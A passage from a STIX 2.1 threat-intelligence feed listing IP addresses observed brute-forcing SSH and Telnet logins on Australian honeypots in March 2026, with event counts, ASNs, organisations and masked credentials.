      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7506. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): n***s, 3**********4, a******h, a***r, b***h. Passwords observed (masked): 1**4, 3***********4, 3**********4, C*******3, a******h.",
      "id": "indicator--7f955b74-78ba-46b4-94dd-33c17d50b3b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.7.113.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): 3**********4, d*****p, s******e, a***n, f******l. Passwords observed (masked): 1**4, 3***********4, 3**********4, ***, 1***5.",
      "id": "indicator--d820147d-d833-41f9-a83d-4d5c05de5ae1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): s*****t. Passwords observed (masked): I*************************t.",
      "id": "indicator--53c3a0ee-df48-4724-85d9-e910dd32f061",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 246. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--bcb0ccbc-61bd-47e8-976d-3c0de9405c46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.253.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA. Usernames observed (masked): s***t, 3**********4, a****r, e***********h, h***z. Passwords observed (masked): 1******8, 1***5, 1**4, 3***********4, 3**********4.",
      "id": "indicator--00e23bee-27af-4186-bc99-4f313bb4007e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.129.122.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 197984. Organisation(s): State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ. Usernames observed (masked): 3**********4, i*********s, n***s, a******h, a***r. Passwords observed (masked): 3***********4, 3**********4, 1**4, C*******3, a******h.",
      "id": "indicator--bc3378ed-e5cb-4791-8601-85bec4888970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.107.115.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): *, a***n, ***. Passwords observed (masked): , *, a***n.",
      "id": "indicator--704fe9b8-8915-4a1f-a031-30d1621ddd36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.0.228.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--f5c99cbc-b11b-449e-962f-d577d5234dfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.147.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): d****r, 3**********4, **, t*********e, u****1. Passwords observed (masked): 1******8, 3***********4, 3**********4, P********1, d********s.",
      "id": "indicator--c1f9f519-c6e4-4b1d-b8e5-849a0095c009",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p******s, r**t, a****e, d****y, ***. Passwords observed (masked): ***, ***, p**s, p******d, t**t.",
      "id": "indicator--c0d3a664-f6ec-40e6-b944-e9f9f4ecb812",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.170.168.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 23923. Organisation(s): Agni Systems Limited.",
      "id": "indicator--21fb99fe-88b6-4e50-9e6d-99bbbda90d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.148.49.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 461. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, c****s, u****u. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--53e82b51-17e7-4797-bd31-ce955fe9d766",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.71.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--775d5014-4ef4-467c-917b-486faf1085ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): m***c, 3**********4, a**n, e******r, ***. Passwords observed (masked): ***, 1**4, 1****6, 1******8, 3***********4.",
      "id": "indicator--13aad94c-9407-4010-9603-316bee3f557a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.240.148.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 137409. Organisation(s): GSL Networks Pty LTD. Usernames observed (masked): a***n, 1***5, P******p. Passwords observed (masked): 1**4, 1***5, 1****6, P******p.",
      "id": "indicator--4c24a627-0c32-40c0-ab92-ed17b95505b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.239.247.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 31363. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--5cec3a01-d85d-4282-ba02-4ffb9ccad251",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.251.140.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2110516c-64b8-4e81-b6e3-41f1b6d10856",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--1a04471f-7e8d-4712-a8e6-eeb57baa389f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): s******n, 3**********4, a***n, c*****t, e**n. Passwords observed (masked): 1***5, ***, 3***********4, 3**********4, M********3.",
      "id": "indicator--830524b4-7a01-48b3-b9bd-dbfa57c48830",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.245.34.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268468. Organisation(s): MXCONECT SERVICOS DE COMUNICACAO LTDA.",
      "id": "indicator--3bae965f-dc9d-4d56-b1f6-949aec11fcfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.239.203.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 35807. Organisation(s): SkyNet Ltd..",
      "id": "indicator--678501b0-a97f-4259-88c1-00de4751418b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.248.237.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 34224. Organisation(s): Neterra Ltd.. Usernames observed (masked): p***t, r**t, 3**********4, a*****w, c****y. Passwords observed (masked): 1**4, 1***5, 1******X, 3***********4, 3**********4.",
      "id": "indicator--d2a2e5b5-bafd-41d2-b7df-0ddb777584af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.92.199.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:15:13.000Z",
      "valid_until": "2026-04-10T17:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): 3**********4, o**r, r**t, ***, e****n. Passwords observed (masked): ***, 3***********4, 3**********4, 1***5, 1****6.",
      "id": "indicator--e95fe084-9e10-4237-a7c6-3bbec2ec6513",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.238.106.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150941. Organisation(s): PT Duta Trans Nusantara Network. Usernames observed (masked): f*****r, 3**********4, ***, b**m, f*******o. Passwords observed (masked): *, ***, 1***5, 1****6, 3***********4.",
      "id": "indicator--819862f9-d806-40e9-8a30-a3ea5975c11c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.101.216.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): s******n, 3**********4, a**r, ***, **. Passwords observed (masked): *, 1***5, 3***********4, 3**********4, j*****!.",
      "id": "indicator--b1267376-ac67-4d42-b40d-baf6bf3fd3dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.191.14.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, t**t, u**r, u****u. Passwords observed (masked): 1*******9, p******d, 1****1, 1****3, 1***5.",
      "id": "indicator--5dccad3b-fbca-4b0a-a7b2-3abe6efb7a2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.170.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): o**r, 3**********4, ***, e***n. Passwords observed (masked): 1***5, 3***********4, 3**********4, E*******!, b*****s.",
      "id": "indicator--5ab98f65-0694-4fb9-894f-9e37a148a0fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.221.19.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): q******o, 3**********4, a**r, ***, s******n. Passwords observed (masked): *, 3***********4, 3**********4, Q*********3, j*****!.",
      "id": "indicator--6a2a6b1d-0b5b-4571-9231-83cdea853734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.19.243.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--448f0713-2a0d-411e-8dc7-e0aaf90c1ff8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d, r**t.",
      "id": "indicator--c7f20e04-6f04-4abe-81ee-d7aeaa4c5213",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.144.25.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): **, 3**********4, a**r, ***, q******o. Passwords observed (masked): *, 3***********4, 3**********4, Q*********3, j*****!.",
      "id": "indicator--52b9b9e2-9c36-4daf-9bed-7b7c620677de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.208.24.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--5bbed8e4-9a9c-47e4-9ae5-2176cf97abd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.55.50.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 23956. Organisation(s): AmberIT Limited. Usernames observed (masked): z*******g, 3**********4, a*******4, d***a, e*****o. Passwords observed (masked): ***, p******d, 1***5, 1******8, 3***********4.",
      "id": "indicator--3d56a804-87b5-4b64-af1c-289cfe1a4700",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.4.106.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
